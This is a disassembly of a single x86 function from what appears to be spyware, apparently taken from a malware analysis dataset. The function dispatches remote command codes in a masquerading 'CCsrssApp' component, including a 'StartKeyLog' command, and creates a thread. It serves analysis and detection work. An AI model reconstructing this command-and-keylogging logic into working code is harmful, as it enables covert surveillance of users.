Function at 0x10014524
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
push edi
test esi, esi
je 0x1001479c
movzx eax, word [esi + 2]
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohs]
push eax
call ebx
movzx edi, ax
push edi
push str.CCsrssApp::ExecuteCommand__:_command_code_0x_x
call fcn.10003e3a
mov eax, 0x1020
pop ecx
pop ecx
cmp edi, eax
jg 0x10014768
je 0x1001475b
sub edi, 0x1002
cmp edi, 0x15
ja case.0x10014573.4100
jmp dword [edi*4 + 0x100147a4]
push dword [ebp + 8]
call fcn.10014ec3
jmp case.0x10014573.4100
cmp byte [ebp + 0xc], 0
je 0x100145ae
movzx eax, word [esi + 0xa]
push eax
call ebx
test ax, ax
je 0x1001459e
lea eax, [esi + 0x1b]
jmp 0x100145a0
xor eax, eax
mov edi, dword [ebp + 8]
push eax
push 0x1007
call fcn.10014bb5
movzx eax, word [esi + 0xa]
push eax
call ebx
test ax, ax
je 0x100145bf
lea edi, [esi + 0x1b]
jmp 0x100145c1
xor edi, edi
mov esi, dword [ebp + 8]
call fcn.10014e01
jmp case.0x10014573.4100
cmp byte [ebp + 0xc], 0
je 0x100145f5
movzx eax, word [esi + 0xa]
push eax
call ebx
test ax, ax
je 0x100145e5
lea eax, [esi + 0x1b]
jmp 0x100145e7
xor eax, eax
mov edi, dword [ebp + 8]
push eax
push 0x1012
call fcn.10014bb5
movzx eax, word [esi + 0xa]
push eax
call ebx
test ax, ax
je 0x10014606
lea edi, [esi + 0x1b]
jmp 0x10014608
xor edi, edi
mov esi, dword [ebp + 8]
call fcn.10015760
jmp case.0x10014573.4100
movzx eax, word [esi + 0xa]
push eax
call ebx
test ax, ax
je 0x10014626
lea edi, [esi + 0x1b]
jmp 0x10014628
xor edi, edi
mov ecx, dword [ebp + 8]
call fcn.1001569c
jmp case.0x10014573.4100
push dword [ebp + 8]
lea ecx, [esi + 0x1b]
call fcn.10014ffa
jmp case.0x10014573.4100
mov ecx, dword [ebp + 8]
add esi, 0x1b
call fcn.100155e3
jmp case.0x10014573.4100
lea eax, [esi + 0x1b]
push eax
call fcn.10015291
jmp case.0x10014573.4100
push dword [ebp + 8]
lea ecx, [esi + 0x1b]
call fcn.100151a1
jmp case.0x10014573.4100
mov edi, dword [ebp + 8]
lea ecx, [esi + 0x1b]
call fcn.100150f3
jmp case.0x10014573.4100
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
je 0x1001469a
lea eax, [esi + 0x1b]
push eax
push 0x1009
call fcn.10014bb5
add esi, 0x1b
je 0x100146b3
push esi
call fcn.1000284d
pop ecx
push eax
push esi
lea ecx, [edi + 0x84]
call fcn.100027de
push dword [edi + 0x20]
call fcn.1001a60c
jmp case.0x10014573.4100
cmp byte [ebp + 0xc], 0
je 0x100146d3
mov edi, dword [ebp + 8]
push 0x1009
call fcn.10014c75
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x20]
push str.CSpyCommandMgr::ExecuteStartKeyLogCmd__:_entered.
call fcn.10003e3a
pop ecx
push 9
jmp 0x1001472a
cmp byte [ebp + 0xc], 0
je 0x100146ff
mov edi, dword [ebp + 8]
lea eax, [esi + 0x1b]
push eax
push 0x1010
call fcn.10014bb5
mov ecx, dword [ebp + 8]
lea edx, [esi + 0x1b]
call fcn.10014d02
jmp case.0x10014573.4100
cmp byte [ebp + 0xc], 0
je 0x10014722
mov edi, dword [ebp + 8]
push 0x1010
call fcn.10014c75
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x20]
push 0x10
mov ecx, edi
call fcn.1001a311
mov esi, eax
test esi, esi
je case.0x10014573.4100
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
mov eax, esi
call fcn.1001a2c7
jmp case.0x10014573.4100
mov ebx, dword [ebp + 8]
call fcn.100142f6
jmp case.0x10014573.4100
push dword [ebp + 8]
call fcn.1001594d
jmp case.0x10014573.4100
push dword [ebp + 8]
lea ecx, [esi + 0x1b]
call fcn.10014f26
jmp case.0x10014573.4100
cmp edi, 0x1050
jne case.0x10014573.4100
mov esi, dword [ebp + 8]
add esi, 0xd4
xor eax, eax
cmp dword [esi], eax
jne case.0x10014573.4100
lea ecx, [ebp + 0xc]
push ecx
push eax
push esi
push 0x10016cc1
push eax
push eax
mov dword [esi], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 4], eax
pop ebx
pop edi
pop esi
pop ebp
ret 8